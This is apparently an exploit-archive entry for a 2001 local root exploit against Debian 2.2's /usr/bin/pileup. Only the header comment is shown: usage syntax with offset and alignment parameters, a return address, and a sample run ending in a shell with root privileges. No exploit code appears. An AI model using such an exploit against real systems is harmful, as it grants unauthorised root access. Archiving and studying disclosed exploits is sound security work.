Description: Debian 2.2 /usr/bin/pileup - Local Privilege Escalation
Type: local
Platform: linux

Exploit:
/* pileup-xpl.c - local root exploit
 *
 * by core
 *
 * Friday the 13th, July 2001
 *
 * based almost entirely on code by Cody Tubbs (loophole of hhp)
 *
 * $ ./pileup-xpl
 * pileup-xpl by core 2001 - beep beep root!
 * usage: ./pileup-xpl [offset] [align(0..3)]
 * Ret-addr: 0xbfffe09c, offset: 0, align: 0.
 * How many voices (1 to 9)
 * Starting speed (wpm)
 * (C)ompetion mode or (P)ractice mode
 * Enter '0' to abort the session! GL..
 *
 * TX              RX         TX           RX
 * --              --         --           --
 *
 * Accuracy: 0/6. Max speed: 13
 * Score: 0
 * Score: core wins!
 * core-2.03# id
 * uid=1000(core) gid=1000(core) euid=0(root) groups=1000(core)
 * core-2.03# exit
